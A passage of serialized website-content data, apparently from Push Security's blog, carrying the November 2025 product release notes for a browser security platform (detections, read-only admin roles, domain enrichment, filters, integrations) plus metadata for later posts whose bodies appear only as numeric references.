needed.",{"data":20859,"content":20863,"nodeType":921},{"target":20860},{"sys":20861},{"id":20862,"type":918,"linkType":919},"2fPaiwRCAUd8lMvsVO03HZ",[],{"data":20865,"content":20866,"nodeType":866},{},[20867,20870,20878],{"data":20868,"marks":20869,"value":21,"nodeType":865},{},[],{"data":20871,"content":20874,"nodeType":11114},{"target":20872},{"sys":20873},{"id":20264,"type":918,"linkType":919},[20875],{"data":20876,"marks":20877,"value":11994,"nodeType":865},{},[],{"data":20879,"marks":20880,"value":21,"nodeType":865},{},[],{"data":20882,"content":20883,"nodeType":953},{},[20884],{"data":20885,"marks":20886,"value":20648,"nodeType":865},{},[],{"data":20888,"content":20889,"nodeType":866},{},[20890,20894,20899],{"data":20891,"marks":20892,"value":20893,"nodeType":865},{},[],"Get early access to new detections from the Push research team by enabling ",{"data":20895,"marks":20896,"value":20898,"nodeType":865},{},[20897],{"type":935},"Experimental detections",{"data":20900,"marks":20901,"value":20902,"nodeType":865},{},[],", a Labs feature.",{"data":20904,"content":20905,"nodeType":866},{},[20906],{"data":20907,"marks":20908,"value":20909,"nodeType":865},{},[],"Labs features are new features Push is testing before releasing them. Early access detections are designed to catch emerging attacker techniques, but may also produce more false positives while we finetune them. These early access detections do not block any user actions.",{"data":20911,"content":20912,"nodeType":866},{},[20913,20917,20921,20925,20930],{"data":20914,"marks":20915,"value":20916,"nodeType":865},{},[],"Enable ",{"data":20918,"marks":20919,"value":20898,"nodeType":865},{},[20920],{"type":935},{"data":20922,"marks":20923,"value":20924,"nodeType":865},{},[]," by going to ",{"data":20926,"marks":20927,"value":20929,"nodeType":865},{},[20928],{"type":935},"Settings > Labs",{"data":20931,"marks":20932,"value":20436,"nodeType":865},{},[],{"data":20934,"content":20935,"nodeType":953},{},[20936],{"data":20937,"marks":20938,"value":20939,"nodeType":865},{},[],"RBAC for the Push platform",{"data":20941,"content":20942,"nodeType":866},{},[20943],{"data":20944,"marks":20945,"value":20946,"nodeType":865},{},[],"You can now provide read-only access to the Push admin console to facilitate investigations, review detections, check app usage by department, help with employee offboarding — or anything else you need.",{"data":20948,"content":20949,"nodeType":866},{},[20950,20954,20958,20962,20967],{"data":20951,"marks":20952,"value":20953,"nodeType":865},{},[],"To add a read-only admin, go to ",{"data":20955,"marks":20956,"value":20712,"nodeType":865},{},[20957],{"type":935},{"data":20959,"marks":20960,"value":20961,"nodeType":865},{},[]," in the admin console. Enter the email address of the admin you want to invite and set the role to ",{"data":20963,"marks":20964,"value":20966,"nodeType":865},{},[20965],{"type":935},"Read only",{"data":20968,"marks":20969,"value":1066,"nodeType":865},{},[],{"data":20971,"content":20972,"nodeType":866},{},[20973,20977,20982],{"data":20974,"marks":20975,"value":20976,"nodeType":865},{},[],"Note that existing Push admins now have the role of ",{"data":20978,"marks":20979,"value":20981,"nodeType":865},{},[20980],{"type":935},"Full access",{"data":20983,"marks":20984,"value":20985,"nodeType":865},{},[],". You can adjust that role as needed from the Organization page, too.",{"data":20987,"content":20991,"nodeType":921},{"target":20988},{"sys":20989},{"id":20990,"type":918,"linkType":919},"7kraCfSP2YwdEEwZ8FxM1t",[],{"data":20993,"content":20994,"nodeType":953},{},[20995],{"data":20996,"marks":20997,"value":20668,"nodeType":865},{},[],{"data":20999,"content":21000,"nodeType":866},{},[21001],{"data":21002,"marks":21003,"value":21004,"nodeType":865},{},[],"You can now enrich detections in Push with information from urlscan.io, and see when the domain was first registered. This information gives you domain-relevant context to support investigations.",{"data":21006,"content":21007,"nodeType":866},{},[21008,21012,21017],{"data":21009,"marks":21010,"value":21011,"nodeType":865},{},[],"To enable this feature, go to ",{"data":21013,"marks":21014,"value":21016,"nodeType":865},{},[21015],{"type":935},"Settings > Advanced > Domain enrichment",{"data":21018,"marks":21019,"value":21020,"nodeType":865},{},[]," in the Push admin console or enable it from any existing detection event.",{"data":21022,"content":21023,"nodeType":866},{},[21024],{"data":21025,"marks":21026,"value":21027,"nodeType":865},{},[],"With this enrichment, you can quickly see:",{"data":21029,"content":21030,"nodeType":2374},{},[21031,21041,21051,21061,21071],{"data":21032,"content":21033,"nodeType":2309},{},[21034],{"data":21035,"content":21036,"nodeType":866},{},[21037],{"data":21038,"marks":21039,"value":21040,"nodeType":865},{},[],"The timestamp for when a domain was first registered",{"data":21042,"content":21043,"nodeType":2309},{},[21044],{"data":21045,"content":21046,"nodeType":866},{},[21047],{"data":21048,"marks":21049,"value":21050,"nodeType":865},{},[],"The number of times a domain was scanned on urlscan",{"data":21052,"content":21053,"nodeType":2309},{},[21054],{"data":21055,"content":21056,"nodeType":866},{},[21057],{"data":21058,"marks":21059,"value":21060,"nodeType":865},{},[],"The first time a domain was scanned",{"data":21062,"content":21063,"nodeType":2309},{},[21064],{"data":21065,"content":21066,"nodeType":866},{},[21067],{"data":21068,"marks":21069,"value":21070,"nodeType":865},{},[],"The last time a domain or IP was scanned",{"data":21072,"content":21073,"nodeType":2309},{},[21074],{"data":21075,"content":21076,"nodeType":866},{},[21077],{"data":21078,"marks":21079,"value":21080,"nodeType":865},{},[],"A urlscan verdict (e.g. “potentially malicious”)",{"data":21082,"content":21083,"nodeType":866},{},[21084],{"data":21085,"marks":21086,"value":21087,"nodeType":865},{},[],"You’ll see the enrichment data on the details slideout for an individual detection.",{"data":21089,"content":21093,"nodeType":921},{"target":21090},{"sys":21091},{"id":21092,"type":918,"linkType":919},"563fJFSgoLDOwSXSQ9Y0MM",[],{"data":21095,"content":21096,"nodeType":866},{},[21097,21100,21109],{"data":21098,"marks":21099,"value":21,"nodeType":865},{},[],{"data":21101,"content":21105,"nodeType":11114},{"target":21102},{"sys":21103},{"id":21104,"type":918,"linkType":919},"19qsIXEG6EN9EK0VRH3pw9",[21106],{"data":21107,"marks":21108,"value":11994,"nodeType":865},{},[],{"data":21110,"marks":21111,"value":21,"nodeType":865},{},[],{"data":21113,"content":21114,"nodeType":953},{},[21115],{"data":21116,"marks":21117,"value":20678,"nodeType":865},{},[],{"data":21119,"content":21120,"nodeType":866},{},[21121,21125,21129],{"data":21122,"marks":21123,"value":21124,"nodeType":865},{},[],"You can now filter the ",{"data":21126,"marks":21127,"value":19552,"nodeType":865},{},[21128],{"type":935},{"data":21130,"marks":21131,"value":21132,"nodeType":865},{},[]," page in the Push admin console by entities such as employees and apps to make triage more efficient.",{"data":21134,"content":21135,"nodeType":866},{},[21136],{"data":21137,"marks":21138,"value":21139,"nodeType":865},{},[],"With this option, you can do quick searches such as:",{"data":21141,"content":21142,"nodeType":2374},{},[21143,21153],{"data":21144,"content":21145,"nodeType":2309},{},[21146],{"data":21147,"content":21148,"nodeType":866},{},[21149],{"data":21150,"marks":21151,"value":21152,"nodeType":865},{},[],"See all recent events associated with an employee",{"data":21154,"content":21155,"nodeType":2309},{},[21156],{"data":21157,"content":21158,"nodeType":866},{},[21159],{"data":21160,"marks":21161,"value":21162,"nodeType":865},{},[],"See all recent logins for a given app",{"data":21164,"content":21165,"nodeType":866},{},[21166,21169,21173,21177,21182],{"data":21167,"marks":21168,"value":19618,"nodeType":865},{},[],{"data":21170,"marks":21171,"value":19552,"nodeType":865},{},[21172],{"type":935},{"data":21174,"marks":21175,"value":21176,"nodeType":865},{},[]," page, go to ",{"data":21178,"marks":21179,"value":21181,"nodeType":865},{},[21180],{"type":935},"Filters > Entity type",{"data":21183,"marks":21184,"value":1066,"nodeType":865},{},[],{"data":21186,"content":21187,"nodeType":953},{},[21188],{"data":21189,"marks":21190,"value":20126,"nodeType":865},{},[],{"data":21192,"content":21193,"nodeType":866},{},[21194],{"data":21195,"marks":21196,"value":20468,"nodeType":865},{},[],{"data":21198,"content":21199,"nodeType":2374},{},[21200,21237,21259,21269,21291],{"data":21201,"content":21202,"nodeType":2309},{},[21203],{"data":21204,"content":21205,"nodeType":866},{},[21206,21210,21220,21223,21233],{"data":21207,"marks":21208,"value":21209,"nodeType":865},{},[],"You can now configure exceptions for ",{"data":21211,"content":21215,"nodeType":11114},{"target":21212},{"sys":21213},{"id":21214,"type":918,"linkType":919},"4oOTN6FXPpZg9MLgQUujys",[21216],{"data":21217,"marks":21218,"value":21219,"nodeType":865},{},[],"MFA findings",{"data":21221,"marks":21222,"value":1182,"nodeType":865},{},[],{"data":21224,"content":21228,"nodeType":11114},{"target":21225},{"sys":21226},{"id":21227,"type":918,"linkType":919},"2eOzRGosD2Ghaipao7NY8W",[21229],{"data":21230,"marks":21231,"value":21232,"nodeType":865},{},[],"reused password",{"data":21234,"marks":21235,"value":21236,"nodeType":865},{},[]," findings. This is useful if you purposefully reuse passwords between systems or enforce MFA through a third-party provider.",{"data":21238,"content":21239,"nodeType":2309},{},[21240],{"data":21241,"content":21242,"nodeType":866},{},[21243,21247,21256],{"data":21244,"marks":21245,"value":21246,"nodeType":865},{},[],"We’ve added several first-class SIEM integrations. ",{"data":21248,"content":21252,"nodeType":11114},{"target":21249},{"sys":21250},{"id":21251,"type":918,"linkType":919},"2M73i6A90S9MY6Pe8uVjVv",[21253],{"data":21254,"marks":21255,"value":11994,"nodeType":865},{},[],{"data":21257,"marks":21258,"value":1066,"nodeType":865},{},[],{"data":21260,"content":21261,"nodeType":2309},{},[21262],{"data":21263,"content":21264,"nodeType":866},{},[21265],{"data":21266,"marks":21267,"value":21268,"nodeType":865},{},[],"We’ve expanded the limit for URLs you can block using the URL blocking control to 2,000.",{"data":21270,"content":21271,"nodeType":2309},{},[21272],{"data":21273,"content":21274,"nodeType":866},{},[21275,21279,21288],{"data":21276,"marks":21277,"value":21278,"nodeType":865},{},[],"You can now set a time period after which to automatically un-license inactive employees, to make license management easier. ",{"data":21280,"content":21284,"nodeType":11114},{"target":21281},{"sys":21282},{"id":21283,"type":918,"linkType":919},"6Ad43w7Cjz2L5fZN2klIOn",[21285],{"data":21286,"marks":21287,"value":11994,"nodeType":865},{},[],{"data":21289,"marks":21290,"value":1066,"nodeType":865},{},[],{"data":21292,"content":21293,"nodeType":2309},{},[21294],{"data":21295,"content":21296,"nodeType":866},{},[21297],{"data":21298,"marks":21299,"value":21300,"nodeType":865},{},[],"Push now supports Prisma Access browser.\n",{"data":21302,"content":21303,"nodeType":866},{},[21304],{"data":21305,"marks":21306,"value":21,"nodeType":865},{},[],"Product release: November 2025","Here’s what’s new on the Push platform for November 2025.","2025-11-04T00:00:00.000Z","product-release-november-2025",{"items":21312},[21313],{"sys":21314,"name":21316},{"id":21315},"5jk0kqjSdSK2L0YiistQjY","Release notes",{"items":21318},[21319],{"fullName":20048,"firstName":20049,"jobTitle":20050,"profilePicture":21320},{"url":20052},"product-release-march-2026","blog/product-release-march-2026",{"json":21324},{"data":21325,"content":21326,"nodeType":1663},{},[21327],{"data":21328,"content":21329,"nodeType":866},{},[21330],{"data":21331,"marks":21332,"value":21333,"nodeType":865},{},[],"Malicious extension detection, block ClickFix-style attacks, custom branding and more","Here’s what’s new on the Push platform for March 2026.",{"id":21336,"publishedAt":21337},"3Yw48rVLntipUijLR0CYf2","2026-08-13T09:35:00.930Z",{"items":21339},[21340],{"sys":21341,"name":21316},{"id":21315},{"items":21343},[21344,21346,21348,21350],{"sys":21345,"name":297,"slug":298,"tier":31},{"id":294},{"sys":21347,"name":288,"slug":289,"tier":45},{"id":285},{"sys":21349,"name":315,"slug":316,"tier":45},{"id":312},{"sys":21351,"name":448,"slug":449,"tier":45},{"id":445},"eIqymJShskbNuC00g5SpN2S_4nuP1K1uJN6I7pLSXb4",{"id":21354,"title":3684,"authorsCollection":21355,"content":21361,"extension":228,"faqItemsCollection":22453,"faqTitle":59,"featured":6,"hashTags":59,"meta":22455,"metaTitle":22456,"ogImage":59,"postType":1797,"publishedDate":3686,"relatedBlogPostsCollection":22457,"slug":3687,"stem":24509,"subtitle":59,"summary":24510,"synopsis":3685,"sys":24521,"tagsCollection":24523,"topicsCollection":24529,"__hash__":24555},"blog/blog/installfix.json",{"items":21356},[21357],{"fullName":3697,"firstName":3698,"jobTitle":3699,"socialLinks":21358,"profilePicture":21360},[21359],"https://www.linkedin.com/in/jacques-louw-o-62608594/",{"url":3701},{"json":21362,"links":22248},{"data":21363,"content":21364,"nodeType":1663},{},[21365,21370,21376,21382,21389,21402,21407,21410,21417,21423,21429,21435,21441,21447,21453,21459,21465,21470,21475,21481,21486,21492,21498,21503,21508,21513,21518,21534,21544,21550,21555,21561,21567,21597,21603,21610,21616,21621,21627,21632,21638,21654,21660,21663,21670,21676,21759,21765,21770,21773,21780,21786,21792,21798,21834,21837,21844,21860,21866,21873,22065,22072,22102,22109,22116,22122,22129,22135,22142,22152,22159,22165,22172,22182,22189,22196,22203,22210,22217,22224,22234,22241],{"data":21366,"content":21369,"nodeType":921},{"target":21367},{"sys":21368},{"id":2686,"type":918,"linkType":919},[],{"data":21371,"content":21372,"nodeType":866},{},[21373],{"data":21374,"marks":21375,"value":2694,"nodeType":865},{},[],{"data":21377,"content":21378,"nodeType":866},{},[21379],{"data":21380,"marks":21381,"value":2701,"nodeType":865},{},[],{"data":21383,"content":21384,"nodeType":866},{},[21385],{"data":21386,"marks":21387,"value":2709,"nodeType":865},{},[21388],{"type":935},{"data":21390,"content":21391,"nodeType":866},{},[21392,21395,21399],{"data":21393,"marks":21394,"value":2716,"nodeType":865},{},[],{"data":21396,"marks":21397,"value":2089,"nodeType":865},{},[21398],{"type":935},{"data":21400,"marks":21401,"value":2724,"nodeType":865},{},[],{"data":21403,"content":21406,"nodeType":921},{"target":21404},{"sys":21405},{"id":2729,"type":918,"linkType":919},[],{"data":21408,"content":21409,"nodeType":944},{},[],{"data":21411,"content":21412,"nodeType":953},{},[21413],{"data":21414,"marks":21415,"value":2741,"nodeType":865},{},[21416],{"type":935},{"data":21418,"content":21419,"nodeType":866},{},[21420],{"data":21421,"marks":21422,"value":2748,"nodeType":865},{},[],{"data":21424,"content":21425,"nodeType":866},{},[21426],{"data":21427,"marks":21428,"value":2755,"nodeType":865},{},[],{"data":21430,"content":21431,"nodeType":1229},{},[21432],{"data":21433,"marks":21434,"value":2762,"nodeType":865},{},[],{"data":21436,"content":21437,"nodeType":866},{},[21438],{"data":21439,"marks":21440,"value":2769,"nodeType":865},{},[],{"data":21442,"content":21443,"nodeType":866},{},[21444],{"data":21445,"marks":21446,"value":2776,"nodeType":865},{},[],{"data":21448,"content":21449,"nodeType":866},{},[21450],{"data":21451,"marks":21452,"value":2783,"nodeType":865},{},[],{"data":21454,"content":21455,"nodeType":866},{},[21456],{"data":21457,"marks":21458,"value":2790,"nodeType":865},{},[],{"data":21460,"content":21461,"nodeType":866},{},[21462],{"data":21463,"marks":21464,"value":2797,"nodeType":865},{},[],{"data":21466,"content":21469,"nodeType":921},{"target":21467},{"sys":21468},{"id":2802,"type":918,"linkType":919},[],{"data":21471,"content":21474,"nodeType":921},{"target":21472},{"sys":21473},{"id":2808,"type":918,"linkType":919},[],{"data":21476,"content":21477,"nodeType":866},{},[21478],{"data":21479,"marks":21480,"value":2816,"nodeType":865},{},[],{"data":21482,"content":21485,"nodeType":921},{"target":21483},{"sys":21484},{"id":2821,"type":918,"linkType":919},[],{"data":21487,"content":21488,"nodeType":1229},{},[21489],{"data":21490,"marks":21491,"value":2829,"nodeType":865},{},[],{"data":21493,"content":21494,"nodeType":866},{},[21495],{"data":21496,"marks":21497,"value":2836,"nodeType":865},{},[],{"data":21499,"content":21502,"nodeType":921},{"target":21500},{"sys":21501},{"id":2841,"type":918,"linkType":919},[],{"data":21504,"content":21507,"nodeType":921},{"target":21505},{"sys":21506},{"id":2847,"type":918,"linkType":919},[],{"data":21509,"content":21512,"nodeType":921},{"target":21510},{"sys":21511},{"id":2853,"type":918,"linkType":919},[],{"data":21514,"content":21517,"nodeType":921},{"target":21515},{"sys":21516},{"id":2859,"type":918,"linkType":919},[],{"data":21519,"content":21520,"nodeType":866},{},[21521,21524,21531],{"data":21522,"marks":21523,"value":2867,"nodeType":865},{},[],{"data":21525,"content":21526,"nodeType":889},{"uri":1781},[21527],{"data":21528,"marks":21529,"value":2875,"nodeType":865},{},[21530],{"type":1191},{"data":21532,"marks":21533,"value":2879,"nodeType":865},{},[],{"data":21535,"content":21536,"nodeType":866},{},[21537,21541],{"data":21538,"marks":21539,"value":2887,"nodeType":865},{},[21540],{"type":935},{"data":21542,"marks":21543,"value":2891,"nodeType":865},{},[],{"data":21545,"content":21546,"nodeType":866},{},[21547],{"data":21548,"marks":21549,"value":2898,"nodeType":865},{},[],{"data":21551,"content":21554,"nodeType":921},{"target":21552},{"sys":21553},{"id":2903,"type":918,"linkType":919},[],{"data":21556,"content":21557,"nodeType":1229},{},[21558],{"data":21559,"marks":21560,"value":2911,"nodeType":865},{},[],{"data":21562,"content":21563,"nodeType":866},{},[21564],{"data":21565,"marks":21566,"value":2918,"nodeType":865},{},[],{"data":21568,"content":21569,"nodeType":2374},{},[21570,21579,21588],{"data":21571,"content":21572,"nodeType":2309},{},[21573],{"data":21574,"content":21575,"nodeType":866},{},[21576],{"data":21577,"marks":21578,"value":2931,"nodeType":865},{},[],{"data":21580,"content":21581,"nodeType":2309},{},[21582],{"data":21583,"content":21584,"nodeType":866},{},[21585],{"data":21586,"marks":21587,"value":2941,"nodeType":865},{},[],{"data":21589,"content":21590,"nodeType":2309},{},[21591],{"data":21592,"content":21593,"nodeType":866},{},[21594],{"data":21595,"marks":21596,"value":2951,"nodeType":865},{},[],{"data":21598,"content":21599,"nodeType":866},{},[21600],{"data":21601,"marks":21602,"value":2958,"nodeType":865},{},[],{"data":21604,"content":21605,"nodeType":866},{},[21606],{"data":21607,"marks":21608,"value":2966,"nodeType":865},{},[21609],{"type":935},{"data":21611,"content":21612,"nodeType":866},{},[21613],{"data":21614,"marks":21615,"value":2973,"nodeType":865},{},[],{"data":21617,"content":21620,"nodeType":921},{"target":21618},{"sys":21619},{"id":2978,"type":918,"linkType":919},[],{"data":21622,"content":21623,"nodeType":866},{},[21624],{"data":21625,"marks":21626,"value":2986,"nodeType":865},{},[],{"data":21628,"content":21631,"nodeType":921},{"target":21629},{"sys":21630},{"id":2991,"type":918,"linkType":919},[],{"data":21633,"content":21634,"nodeType":1229},{},[21635],{"data":21636,"marks":21637,"value":2999,"nodeType":865},{},[],{"data":21639,"content":21640,"nodeType":866},{},[21641,21644,21651],{"data":21642,"marks":21643,"value":3006,"nodeType":865},{},[],{"data":21645,"content":21646,"nodeType":889},{"uri":1388},[21647],{"data":21648,"marks":21649,"value":1393,"nodeType":865},{},[21650],{"type":1191},{"data":21652,"marks":21653,"value":3017,"nodeType":865},{},[],{"data":21655,"content":21656,"nodeType":866},{},[21657],{"data":21658,"marks":21659,"value":3024,"nodeType":865},{},[],{"data":21661,"content":21662,"nodeType":944},{},[],{"data":21664,"content":21665,"nodeType":953},{},[21666],{"data":21667,"marks":21668,"value":3035,"nodeType":865},{},[21669],{"type":935},{"data":21671,"content":21672,"nodeType":866},{},[21673],{"data":21674,"marks":21675,"value":3042,"nodeType":865},{},[],{"data":21677,"content":21678,"nodeType":2374},{},[21679,21699,21719,21739],{"data":21680,"content":21681,"nodeType":2309},{},[21682],{"data":21683,"content":21684,"nodeType":866},{},[21685,21688,21696],{"data":21686,"marks":21687,"value":21,"nodeType":865},{},[],{"data":21689,"content":21690,"nodeType":889},{"uri":3057},[21691],{"data":21692,"marks":21693,"value":3064,"nodeType":865},{},[21694,21695],{"type":1191},{"type":935},{"data":21697,"marks":21698,"value":3068,"nodeType":865},{},[],{"data":21700,"content":21701,"nodeType":2309},{},[21702],{"data":21703,"content":21704,"nodeType":866},{},[21705,21708,21716],{"data":21706,"marks":21707,"value":21,"nodeType":865},{},[],{"data":21709,"content":21710,"nodeType":889},{"uri":3080},[21711],{"data":21712,"marks":21713,"value":3087,"nodeType":865},{},[21714,21715],{"type":1191},{"type":935},{"data":21717,"marks":21718,"value":3091,"nodeType":865},{},[],{"data":21720,"content":21721,"nodeType":2309},{},[21722],{"data":21723,"content":21724,"nodeType":866},{},[21725,21728,21736],{"data":21726,"marks":21727,"value":21,"nodeType":865},{},[],{"data":21729,"content":21730,"nodeType":889},{"uri":3103},[21731],{"data":21732,"marks":21733,"value":3110,"nodeType":865},{},[21734,21735],{"type":1191},{"type":935},{"data":21737,"marks":21738,"value":3114,"nodeType":865},{},[],{"data":21740,"content":21741,"nodeType":2309},{},[21742],{"data":21743,"content":21744,"nodeType":866},{},[21745,21748,21756],{"data":21746,"marks":21747,"value":21,"nodeType":865},{},[],{"data":21749,"content":21750,"nodeType":889},{"uri":3126},[21751],{"data":21752,"marks":21753,"value":3133,"nodeType":865},{},[21754,21755],{"type":1191},{"type":935},{"data":21757,"marks":21758,"value":3137,"nodeType":865},{},[],{"data":21760,"content":21761,"nodeType":866},{},[21762],{"data":21763,"marks":21764,"value":3144,"nodeType":865},{},[],{"data":21766,"content":21769,"nodeType":921},{"target":21767},{"sys":21768},{"id":3149,"type":918,"linkType":919},[],{"data":21771,"content":21772,"nodeType":944},{},[],{"data":21774,"content":21775,"nodeType":1229},{},[21776],{"data":21777,"marks":21778,"value":3161,"nodeType":865},{},[21779],{"type":935},{"data":21781,"content":21782,"nodeType":866},{},[21783],{"data":21784,"marks":21785,"value":3168,"nodeType":865},{},[],{"data":21787,"content":21788,"nodeType":866},{},[21789],{"data":21790,"marks":21791,"value":3175,"nodeType":865},{},[],{"data":21793,"content":21794,"nodeType":866},{},[21795],{"data":21796,"marks":21797,"value":3182,"nodeType":865},{},[],{"data":21799,"content":21800,"nodeType":866},{},[21801,21804,21811,21814,21821,21824,21831],{"data":21802,"marks":21803,"value":3189,"nodeType":865},{},[],{"data":21805,"content":21806,"nodeType":889},{"uri":3192},[21807],{"data":21808,"marks":21809,"value":3198,"nodeType":865},{},[21810],{"type":1191},{"data":21812,"marks":21813,"value":3202,"nodeType":865},{},[],{"data":21815,"content":21816,"nodeType":889},{"uri":3205},[21817],{"data":21818,"marks":21819,"value":3211,"nodeType":865},{},[21820],{"type":1191},{"data":21822,"marks":21823,"value":3215,"nodeType":865},{},[],{"data":21825,"content":21826,"nodeType":889},{"uri":2644},[21827],{"data":21828,"marks":21829,"value":3223,"nodeType":865},{},[21830],{"type":1191},{"data":21832,"marks":21833,"value":1066,"nodeType":865},{},[],{"data":21835,"content":21836,"nodeType":944},{},[],{"data":21838,"content":21839,"nodeType":953},{},[21840],{"data":21841,"marks":21842,"value":3237,"nodeType":865},{},[21843],{"type":935},{"data":21845,"content":21846,"nodeType":866},{},[21847,21850,21857],{"data":21848,"marks":21849,"value":1514,"nodeType":865},{},[],{"data":21851,"content":21852,"nodeType":889},{"uri":1517},[21853],{"data":21854,"marks":21855,"value":1522,"nodeType":865},{},[21856],{"type":1191},{"data":21858,"marks":21859,"value":1526,"nodeType":865},{},[],{"data":21861,"content":21862,"nodeType":866},{},[21863],{"data":21864,"marks":21865,"value":3260,"nodeType":865},{},[],{"data":21867,"content":21868,"nodeType":866},{},[21869],{"data":21870,"marks":21871,"value":3268,"nodeType":865},{},[21872],{"type":935},{"data":21874,"content":21875,"nodeType":2374},{},[21876,21885,21894,21903,21912,21921,21930,21939,21948,21957,21966,21975,21984,21993,22002,22011,22020,22029,22038,22047,22056],{"data":21877,"content":21878,"nodeType":2309},{},[21879],{"data":21880,"content":21881,"nodeType":866},{},[21882],{"data":21883,"marks":21884,"value":3281,"nodeType":865},{},[],{"data":21886,"content":21887,"nodeType":2309},{},[21888],{"data":21889,"content":21890,"nodeType":866},{},[21891],{"data":21892,"marks":21893,"value":3291,"nodeType":865},{},[],{"data":21895,"content":21896,"nodeType":2309},{},[21897],{"data":21898,"content":21899,"nodeType":866},{},[21900],{"data":21901,"marks":21902,"value":3301,"nodeType":865},{},[],{"data":21904,"content":21905,"nodeType":2309},{},[21906],{"data":21907,"content":21908,"nodeType":866},{},[21909],{"data":21910,"marks":21911,"value":3311,"nodeType":865},{},[],{"data":21913,"content":21914,"nodeType":2309},{},[21915],{"data":21916,"content":21917,"nodeType":866},{},[21918],{"data":21919,"marks":21920,"value":3321,"nodeType":865},{},[],{"data":21922,"content":21923,"nodeType":2309},{},[21924],{"data":21925,"content":21926,"nodeType":866},{},[21927],{"data":21928,"marks":21929,"value":3311,"nodeType":865},{},[],{"data":21931,"content":21932,"nodeType":2309},{},[21933],{"data":21934,"content":21935,"nodeType":866},{},[21936],{"data":21937,"marks":21938,"value":3340,"nodeType":865},{},[],{"data":21940,"content":21941,"nodeType":2309},{},[21942],{"data":21943,"content":21944,"nodeType":866},{},[21945],{"data":21946,"marks":21947,"value":3350,"nodeType":865},{},[],{"data":21949,"content":21950,"nodeType":2309},{},[21951],{"data":21952,"content":21953,"nodeType":866},{},[21954],{"data":21955,"marks":21956,"value":3291,"nodeType":865},{},[],{"data":21958,"content":21959,"nodeType":2309},{},[21960],{"data":21961,"content":21962,"nodeType":866},{},[21963],{"data":21964,"marks":21965,"value":3369,"nodeType":865},{},[],{"data":21967,"content":21968,"nodeType":2309},{},[21969],{"data":21970,"content":21971,"nodeType":866},{},[21972],{"data":21973,"marks":21974,"value":3379,"nodeType":865},{},[],{"data":21976,"content":21977,"nodeType":2309},{},[21978],{"data":21979,"content":21980,"nodeType":866},{},[21981],{"data":21982,"marks":21983,"value":3389,"nodeType":865},{},[],{"data":21985,"content":21986,"nodeType":2309},{},[21987],{"data":21988,"content":21989,"nodeType":866},{},[21990],{"data":21991,"marks":21992,"value":3399,"nodeType":865},{},[],{"data":21994,"content":21995,"nodeType":2309},{},[21996],{"data":21997,"content":21998,"nodeType":866},{},[21999],{"data":22000,"marks":22001,"value":3409,"nodeType":865},{},[],{"data":22003,"content":22004,"nodeType":2309},{},[22005],{"data":22006,"content":22007,"nodeType":866},{},[22008],{"data":22009,"marks":22010,"value":3419,"nodeType":865},{},[],{"data":22012,"content":22013,"nodeType":2309},{},[22014],{"data":22015,"content":22016,"nodeType":866},{},[22017],{"data":22018,"marks":22019,"value":3429,"nodeType":865},{},[],{"data":22021,"content":22022,"nodeType":2309},{},[22023],{"data":22024,"content":22025,"nodeType":866},{},[22026],{"data":22027,"marks":22028,"value":3350,"nodeType":865},{},[],{"data":22030,"content":22031,"nodeType":2309},{},[22032],{"data":22033,"content":22034,"nodeType":866},{},[22035],{"data":22036,"marks":22037,"value":3448,"nodeType":865},{},[],{"data":22039,"content":22040,"nodeType":2309},{},[22041],{"data":22042,"content":22043,"nodeType":866},{},[22044],{"data":22045,"marks":22046,"value":3458,"nodeType":865},{},[],{"data":22048,"content":22049,"nodeType":2309},{},[22050],{"data":22051,"content":22052,"nodeType":866},{},[22053],{"data":22054,"marks":22055,"value":3468,"nodeType":865},{},[],{"data":22057,"content":22058,"nodeType":2309},{},[22059],{"data":22060,"content":22061,"nodeType":866},{},[22062],{"data":22063,"marks":22064,"value":3478,"nodeType":865},{},[],{"data":22066,"content":22067,"nodeType":866},{},[22068],{"data":22069,"marks":22070,"value":3486,"nodeType":865},{},[22071],{"type":935},{"data":22073,"content":22074,"nodeType":2374},{},[22075,22084,22093],{"data":22076,"content":22077,"nodeType":2309},{},[22078],{"data":22079,"content":22080,"nodeType":866},{},[22081],{"data":22082,"marks":22083,"value":3499,"nodeType":865},{},[],{"data":22085,"content":22086,"nodeType":2309},{},[22087],{"data":22088,"content":22089,"nodeType":866},{},[22090],{"data":22091,"marks":22092,"value":3509,"nodeType":865},{},[],{"data":22094,"content":22095,"nodeType":2309},{},[22096],{"data":22097,"content":22098,"nodeType":866},{},[22099],{"data":22100,"marks":22101,"value":3519,"nodeType":865},{},[],{"data":22103,"content":22104,"nodeType":866},{},[22105],{"data":22106,"marks":22107,"value":3527,"nodeType":865},{},[22108],{"type":935},{"data":22110,"content":22111,"nodeType":866},{},[22112],{"data":22113,"marks":22114,"value":3536,"nodeType":865},{},[22115],{"type":3535},{"data":22117,"content":22118,"nodeType":866},{},[22119],{"data":22120,"marks":22121,"value":21,"nodeType":865},{},[],{"data":22123,"content":22124,"nodeType":866},{},[22125],{"data":22126,"marks":22127,"value":3550,"nodeType":865},{},[22128],{"type":3535},{"data":22130,"content":22131,"nodeType":866},{},[22132],{"data":22133,"marks":22134,"value":3557,"nodeType":865},{},[],{"data":22136,"content":22137,"nodeType":866},{},[22138],{"data":22139,"marks":22140,"value":3565,"nodeType":865},{},[22141],{"type":3535},{"data":22143,"content":22144,"nodeType":866},{},[22145,22148],{"data":22146,"marks":22147,"value":3557,"nodeType":865},{},[],{"data":22149,"marks":22150,"value":3576,"nodeType":865},{},[22151],{"type":935},{"data":22153,"content":22154,"nodeType":866},{},[22155],{"data":22156,"marks":22157,"value":3584,"nodeType":865},{},[22158],{"type":3535},{"data":22160,"content":22161,"nodeType":866},{},[22162],{"data":22163,"marks":22164,"value":21,"nodeType":865},{},[],{"data":22166,"content":22167,"nodeType":866},{},[22168],{"data":22169,"marks":22170,"value":3598,"nodeType":865},{},[22171],{"type":3535},{"data":22173,"content":22174,"nodeType":866},{},[22175,22178],{"data":22176,"marks":22177,"value":3557,"nodeType":865},{},[],{"data":22179,"marks":22180,"value":3609,"nodeType":865},{},[22181],{"type":935},{"data":22183,"content":22184,"nodeType":866},{},[22185],{"data":22186,"marks":22187,"value":3617,"nodeType":865},{},[22188],{"type":3535},{"data":22190,"content":22191,"nodeType":866},{},[22192],{"data":22193,"marks":22194,"value":3625,"nodeType":865},{},[22195],{"type":3535},{"data":22197,"content":22198,"nodeType":866},{},[22199],{"data":22200,"marks":22201,"value":3633,"nodeType":865},{},[22202],{"type":3535},{"data":22204,"content":22205,"nodeType":866},{},[22206],{"data":22207,"marks":22208,"value":3641,"nodeType":865},{},[22209],{"type":3535},{"data":22211,"content":22212,"nodeType":866},{},[22213],{"data":22214,"marks":22215,"value":3649,"nodeType":865},{},[22216],{"type":3535},{"data":22218,"content":22219,"nodeType":866},{},[